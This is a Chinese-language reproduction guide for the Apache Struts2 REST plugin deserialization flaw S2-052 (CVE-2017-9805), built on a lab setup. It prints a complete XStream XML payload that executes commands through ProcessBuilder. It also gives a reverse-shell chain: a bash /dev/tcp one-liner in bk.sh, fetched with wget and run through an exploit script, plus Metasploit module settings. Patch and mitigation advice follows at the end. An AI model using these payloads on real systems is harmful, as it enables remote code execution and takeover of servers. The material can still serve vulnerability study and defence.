struts2(s2-052)远程命令执行漏洞复现
漏洞描述：
2017年9月5日，Apache Struts发布最新安全公告，Apache Struts2的REST插件存在远程代码执行的高危漏洞，该漏洞由lgtm.com的安全研究员汇报，漏洞编号为CVE-2017-9805（S2-052）。Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击
漏洞编号:
CVE编号:CVE-2017-9805
漏洞复现:
利用弹出计算器复现：
漏洞环境为：win2008sr2+tomcat9.0
1.从struts2的官网下载最后受影响的版本struts-2.5.12，其下载地址：
http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip
拿到struts-2.5.12-apps之后，将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下，我的是
D:\apache-tomcat-9.0.0.M26\webapps
2.浏览器中访问地址：http://ip地址:8080/struts2-rest-showcase/
会跳转，然后出现下面的页面：
3.点击一个edit进行编译页面，然后提交，并用burp抓包。
并发送到repeater进行修改包如下：
这里将：
Content-Type: application/x-www-form-urlencoded 修改为：
Content-Type: application/xml
post数据改成：
下面的command就是反序列化出来的命令执行：
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
4.修改完后，就进行提交包：
可以看到响应页面中有500错误：
5.最终在目标机器弹出了计算器
利用s2-052.py反弹linux下的struts2:
1.环境搭建:
目标靶机：ubuntu16.04x64+docker(ip地址：192.168.1.105）
攻击机：kali(nc运行监听，IP地址：192.168.1.113)
2.dokce镜像地址：
https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-037
3.在ubuntu上执行：
docker pull medicean/vulapps:s_struts2_s2-037 #拉取镜像到本地
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037 #启动环境
最终访问：
http://192.168.1.105:8080/orders
4.编写bk.sh脚本，内容为：
bash -i >& /dev/tcp/192.168.1.113/666 0>&1 #这里的ip就是我NC监听的IP地址
6.将bk.sh放到hsf搭建的ftp服务器上或者其他提供文件服务器上
7.通过运行python s2-052.py执行如下：
python s2-052.py http://192.168.1.105:8080/orders "wget http://192.168.1.102/bk.sh" #下载到目标靶机上
python s2-052.py http://192.168.1.105:8080/orders "/bin/bash ./bk.sh" #执行sh脚本
9.然后在kali进行nc监听，并反弹出shell:
nc -lvvp 666
s2-052.py的下载地址：
https://raw.githubusercontent.com/backlion/demo/master/s2-052%20.py
msf下的反弹struts2的shell:
测试环境：
目标靶机：ubuntu16.04x64+docker(采用如上文说的利用s2-052.py反弹linux下的struts2搭建环境）
攻击机：kali2017（貌似在kali2016上有点问题，加载不了payload）
1.在kali上执行：
root@kali2017:~# cd /opt root@kali2017:/opt# wget https://raw.githubusercontent.com/wvu-r7/metasploit-framework/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/strut root@kali2017:/opt# cp struts2_rest_xstream.rb /usr/share/metasploit-framework/modules/exploits/multi/http/
root@kali2017:/opt# msfconsole msf > use exploit/multi/http/struts2_rest_xstream msf exploit(struts2_rest_xstream) > show options
msf exploit(struts2_rest_xstream) > set rhost 192.168.1.105 msf exploit(struts2_rest_xstream) > set rport 8080
msf exploit(struts2_rest_xstream) > set target /orders msf exploit(struts2_rest_xstream) > set lhost 192.168.1.113 msf exploit(struts2_rest_xstream) > set lport 443 msf exploit(struts2_rest_xstream) > exploit
可以看到成功反弹shell
受影响版本:
Apache Struts Version：Struts 2.5 - Struts 2.5.12
漏洞修复建议：
1、升级到Apache Struts版本2.5.13
2、最好的选择是在不使用时删除Struts REST插件，或仅限于服务器普通页面和JSONs：
<constant name="struts.action.extension" value="xhtml,,json" />
3、限制服务端扩展类型，删除XML支持。
由于应用的可用类的默认限制，某些REST操作可能会停止工作。在这种情况下，请调查介绍的新接口以允许每个操作定义类限制，那些接口是：
org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider
